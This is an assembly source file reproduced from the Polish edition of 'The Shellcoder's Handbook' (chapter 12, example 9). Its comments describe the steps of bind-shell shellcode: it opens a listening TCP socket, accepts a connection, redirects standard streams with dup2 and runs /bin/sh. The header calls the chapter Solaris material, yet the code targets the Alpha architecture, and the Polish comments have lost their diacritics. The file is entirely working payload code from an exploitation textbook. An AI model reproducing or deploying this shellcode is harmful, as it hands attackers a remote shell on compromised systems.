/*

The Shellcoder's Handbook. Edycja polska
Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, 
Sinan Eren, Neel Mehta, Riley Hassell
Wydawnictwo Helion


Rozdzia 12
Zaawansowane metody wama w systemie Solaris
Przykad 9

Komentarze i uwagi prosz przesya na adres jack@infosecinstitute.com 
lub za porednictwem witryny http://www.infosecinstitute.com 

*/

#include <alpha/regdef.h>     
     .text
     .arch     generic
     .align 4
     .globl  main
     .ent      main
main:
     .frame  $sp, 0, $26

                                 #xorloop przekae nam pc w rejestrze a0,
                         #cakowity rozmiar 196 bajtw.

     bic  sp, 0xf, sp               #gwarantuje, e stos jest wyrwnany do granicy 16 byte bajtw.
     addq a0, 156, s1          #adres sockaddr_in
     addq a0, 172, s2          #adres wartoci sizeof(sockadd_in)   
     addq a0, 184, s4          #adres acucha //bin/sh     
     stq  s4, (sp)                  #odkada adres acucha //bin/sh
     stq  zero, 8(sp)
     
     mov  0x2, a0               #AF_INET
     mov  0x1, a1               #SOCK_STREAM
     bis  zero, zero, a2       #0
     addq zero, 0x61, v0       #wywoanie systemowe socket
     PAL_callsys
     mov  v0, s0               #zachowuje numer gniazda sieciowego.
     
     mov  s0, a0               #numer gniazda sieciowego.
     mov  s1, a1               #adres sockaddr_in
     mov  0x10, a2              #rozmiar sockaddr_in wynosi 16
             addq zero, 0x68, v0       #wywoanie systemowe bind.
     PAL_callsys

     mov  s0, a0               #numer gniazda sieciowego.
     mov  0x5, a2              #backlog.
             addq zero, 0x6a, v0       #wywoanie systemowe listen.
     PAL_callsys

     mov  s0, a0               #numer gniazda sieciowego.
     bis  zero, zero, a1       #(struct sockaddr *)NULL
     mov  s2, a2               #adres wartoci sizeof(sockaddr)
             addq zero, 0x63, v0       #wywoanie systemowe accept.
     PAL_callsys
     mov  v0, s3               #numer poczonego gniazda sieciowego.

     mov 0x2, s2
duploop:     
     mov  s3, a0               #numer poczonego gniazda sieciowego.
     mov  s2, a1               #stdin, stdout, stderr
             addq zero, 0x5a, v0       #wywoanie systemowe dup2
     PAL_callsys
     subq s2, 0x1, s2          #zmniejsza licznik
     bge  s2, duploop          #ptla dla 2,1,0 (stderr, stdout, stdin)
     
     mov  s4, a0               #adres acucha //bin/sh
     mov  sp, a1              #adres (adresu acucha //bin/sh)
     bis  zero, zero, a2       #NULL
             addq zero, 0x3b, v0       #wywoanie systemowe execve
     PAL_callsys

.long   0x901f0002      
.long   0x00000000      
.long   0x00000000
.long   0x00000000
.long   0x10
.long   0x00000000
.long   0x00000000     
.quad   0x68732f6e69622f2f
.long   0x00000000
     .end      main
